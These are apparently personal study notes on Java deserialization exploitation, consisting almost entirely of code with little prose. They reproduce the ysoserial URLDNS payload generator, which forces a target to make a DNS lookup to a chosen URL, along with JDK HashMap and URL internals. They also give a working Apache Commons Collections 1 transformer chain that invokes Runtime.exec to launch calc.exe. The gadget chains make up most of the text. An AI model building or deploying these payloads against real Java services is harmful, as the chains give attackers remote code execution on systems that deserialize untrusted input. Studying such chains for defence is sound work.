Java安全漫谈学习笔记③ -- Java反序列化 (7-9)

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

private void readObject(java.io.ObjectInputStream s)  
    throws IOException, ClassNotFoundException {  
    // Read in the threshold (ignored), loadfactor, and any hidden stuff  
    s.defaultReadObject();  
    reinitialize();  
    if (loadFactor <= 0 || Float.isNaN(loadFactor))  
        throw new InvalidObjectException("Illegal load factor: " +  
                                         loadFactor);  
    s.readInt();                // Read and ignore number of buckets  
    int mappings = s.readInt(); // Read number of mappings (size)  
    if (mappings < 0)  
        throw new InvalidObjectException("Illegal mappings count: " +  
                                         mappings);  
    else if (mappings > 0) { // (if zero, use defaults)  
        // Size the table using given load factor only if within        // range of 0.25...4.0        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);  
        float fc = (float)mappings / lf + 1.0f;  
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  
                   DEFAULT_INITIAL_CAPACITY :  
                   (fc >= MAXIMUM_CAPACITY) ?  
                   MAXIMUM_CAPACITY :  
                   tableSizeFor((int)fc));  
        float ft = (float)cap * lf;  
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  
                     (int)ft : Integer.MAX_VALUE);  
        @SuppressWarnings({"rawtypes","unchecked"})  
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  
        table = tab;  
  
        // Read the keys and values, and put the mappings in the HashMap  
        for (int i = 0; i < mappings; i++) {  
            @SuppressWarnings("unchecked")  
                K key = (K) s.readObject();  
            @SuppressWarnings("unchecked")  
                V value = (V) s.readObject();  
            putVal(hash(key), key, value, false, false);  
        }  
    }  
}

static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

URL u = new URL(null, url, handler); // URL to use as the Key

public synchronized int hashCode() {  
    if (hashCode != -1)  
        return hashCode;  
  
    hashCode = handler.hashCode(this);  
    return hashCode;  
}

transient URLStreamHandler handler;

protected int hashCode(URL u) {  
    int h = 0;  
  
    // Generate the protocol part.  
    String protocol = u.getProtocol();  
    if (protocol != null)  
        h += protocol.hashCode();  
  
    // Generate the host part.  
    InetAddress addr = getHostAddress(u);  
    if (addr != null) {  
        h += addr.hashCode();  
    } else {  
        String host = u.getHost();  
        if (host != null)  
            h += host.toLowerCase().hashCode();  
    }  
  
    // Generate the file part.  
    String file = u.getFile();  
    if (file != null)  
        h += file.hashCode();  
  
    // Generate the port part.  
    if (u.getPort() == -1)  
        h += getDefaultPort();  
    else        h += u.getPort();  
  
    // Generate the ref part.  
    String ref = u.getRef();  
    if (ref != null)  
        h += ref.hashCode();  
  
    return h;  
}

protected synchronized InetAddress getHostAddress(URL u) {  
    if (u.hostAddress != null)  
        return u.hostAddress;  
  
    String host = u.getHost();  
    if (host == null || host.equals("")) {  
        return null;  
    } else {  
        try {  
            u.hostAddress = InetAddress.getByName(host);  
        } catch (UnknownHostException ex) {  
            return null;  
        } catch (SecurityException se) {  
            return null;  
        }  
    }  
    return u.hostAddress;  
}

package Reflect;  
import java.io.*;  
public class Test {  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        ObjectInputStream o = new ObjectInputStream(new FileInputStream("D:/Tools/CTF.WEB.Penetration/a.txt"));  
        Object o1 = o.readObject();  
        System.out.println(o1);  
    }  
}

package org.vulhub.Ser;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
import java.util.HashMap;  
import java.util.Map;  
public class CommonCollections1 {  
    public static void main(String[] args) throws Exception {  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.getRuntime()),  
                new InvokerTransformer("exec", new Class[]{String.class},  
                        new Object[]  
                                {"C:\\Windows\\system32\\calc.exe"}),  
        };  
        Transformer transformerChain = new  
                ChainedTransformer(transformers);  
        Map innerMap = new HashMap();  
        Map outerMap = TransformedMap.decorate(innerMap, null,  
                transformerChain);  
        outerMap.put("test", "xxxx");  
    }  
}

Map outerMap = TransformedMap.decorate(innerMap, null,  
        transformerChain);  

package org.apache.commons.collections;
 
public interface Transformer {
 
    public Object transform(Object input);
 
}

public ConstantTransformer(Object constantToReturn) {  
    this.iConstant = constantToReturn;  
}  
  
public Object transform(Object input) {  
    return this.iConstant;  
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
    this.iMethodName = methodName;  
    this.iParamTypes = paramTypes;  
    this.iArgs = args;  
}

public Object transform(Object input) {  
    if (input == null) {  
        return null;  
    } else {  
        try {  
            Class cls = input.getClass();  
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);  
            return method.invoke(input, this.iArgs);  
        } catch (NoSuchMethodException var4) {  
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");  
        } catch (IllegalAccessException var5) {  
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
        } catch (InvocationTargetException var6) {  
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);  
        }  
    }  
}

public ChainedTransformer(Transformer[] transformers) {  
    this.iTransformers = transformers;  
}  
  
public Object transform(Object object) {  
    for(int i = 0; i < this.iTransformers.length; ++i) {  
        object = this.iTransformers[i].transform(object);  
    }  
  
    return object;  
}

    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.getRuntime()),  
            new InvokerTransformer("exec", new Class[]{String.class},  
                    new Object[]  
                            {"C:\\Windows\\system32\\calc.exe"}),  
    };  
    Transformer transformerChain = new  
            ChainedTransformer(transformers);  
    Map innerMap = new HashMap();  
    Map outerMap = TransformedMap.decorate(innerMap, null,  
            transformerChain);  
    outerMap.put("test", "xxxx");  
}